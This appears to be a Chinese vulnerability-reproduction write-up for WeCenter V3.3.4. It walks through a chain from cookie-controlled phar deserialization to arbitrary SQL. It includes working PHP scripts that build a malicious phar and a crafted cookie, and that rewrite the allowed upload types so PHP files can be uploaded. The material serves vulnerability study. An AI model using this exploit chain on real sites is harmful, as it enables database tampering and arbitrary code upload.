WeCenter V3.3.4漏洞复现

前言

该漏洞的实质触发原因是由于可以通过反序列化来执行任意sql语句,导致可以在数据库中更改上传文件的限制类型,最后达到可以上传任意PHP文件的效果

代码分析

漏洞利用点文件位置在./system/aws_model.inc.php,该文件中存在一个AWS_MODEL类,重点关注一下该类的__destruct方法

该方法遍历了$_shutdown_query,然后执行了query方法,跟进去看一下

该方法的功能是执行传入的SQL语句,那么也就是说我们只要控制了$_shutdown_query就可以执行任意的语句了,可以注意到该变量是该类中的私有成员变量

如果存在反序列化的点,我们就可以控制$_shutdown_query的值来执行任意SQL语句,于是接着来寻找反序列化的触发方法

在本例中反序列化是利用phar进行触发的,触发点文件在./models/account.php,在该文件的account_class类中,存在着这样一个函数

如果该函数中的$headimgurl是可控的,就可以通过file_get_contents函数来触发phar反序列化,通过搜索发现在./app/account/ajax.php中的synch_img_action函数调用了associate_remote_avatar函数

在这里我们需要控制的是$wxuser['headimgurl'],而synch_img_action对于$wxuser['headimgurl']的获取是来源于数据库中的users_weixin表的,所以我们想控制其值必须找到对users_weixin表中headimgurl字段操作的代码,通过搜索发现./models/openid/weixin/weixin.php文件中bind_account函数存在着对该表的插入操作

接下来需要找到bind_account函数的调用位置,并且需要使其参数可控,通过搜索关注到binding_action函数,该函数在/app/m/weixin.php文件中

可以看到该函数中在调用bind_account函数传入参数时,参数的值都是从cookie中获取的,这样我们就可以通过cookie来控制传入的参数值,而binding_action这个方法可以通过路由访问直接调用,所以我们基本上就可以来执行任意SQL语句了

接着来梳理一下流程,首先我们控制cookie然后调用binding_action函数,使其调用bind_account函数并带入我们控制的参数,该函数将会把我们构造的headimgurl插入到数据库中,在我们调用synch_img_action方法时,该方法会将headimgurl取出来并调用associate_remote_avatar函数,该函数会调用file_get_contents($headimgurl)来触发phar反序列化,进而执行任意sql语句

实际测试

下面首先编写反序列化的生成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class AWS_MODEL{
private $_shutdown_query = array();
function __construct(){
$this->_shutdown_query = array("a"=>"SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)");
}
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AWS_MODEL();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

在提问的编辑器处进行文件上传,会返回文件路径

然后编写生成cookie的代码

1
2
3
4
5
6
7
<?php
$a = array();
$a['access_token'] = array('openid' => '1');
$a['access_user'] = array('openid'=>1,'nickname'=>'aaa','headimgurl'=>'phar://uploads/question/20200229/f3f9cb0f135c2fd37c2446f863cc15d6.gif');
echo json_encode($a);
?>
//{"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"aaa","headimgurl":"phar:\/\/uploads\/question\/20200229\/f3f9cb0f135c2fd37c2446f863cc15d6.gif"}}

首先带着cookie调用binding_action方法,注意一下cookie的前缀需要抓包获取

然后去直接触发synch_img_action方法,就可以通过报错函数来得到sql执行结果

10

深入分析

登陆后台可以发现允许上传的文件类型是保存在数据库中的,执行更新后缀名的语句如下

我们可以仿照该语句来将php后缀名加入其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class AWS_MODEL{
private $_shutdown_query = array();
function __construct(){
$this->_shutdown_query = array("a"=>"UPDATE `aws_system_setting` SET `value` = 's:45:\"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\";' WHERE (`varname` = 'allowed_upload_types')");
}
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AWS_MODEL();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

按照上面的执行语句的流程,成功执行后即可将php后缀添加到白名单中,之后在编辑器中可直接上传php文件

参考链接

https://xz.aliyun.com/t/7077

https://mp.weixin.qq.com/s/uBmo9xXMVk42Qp3BP_x0Vw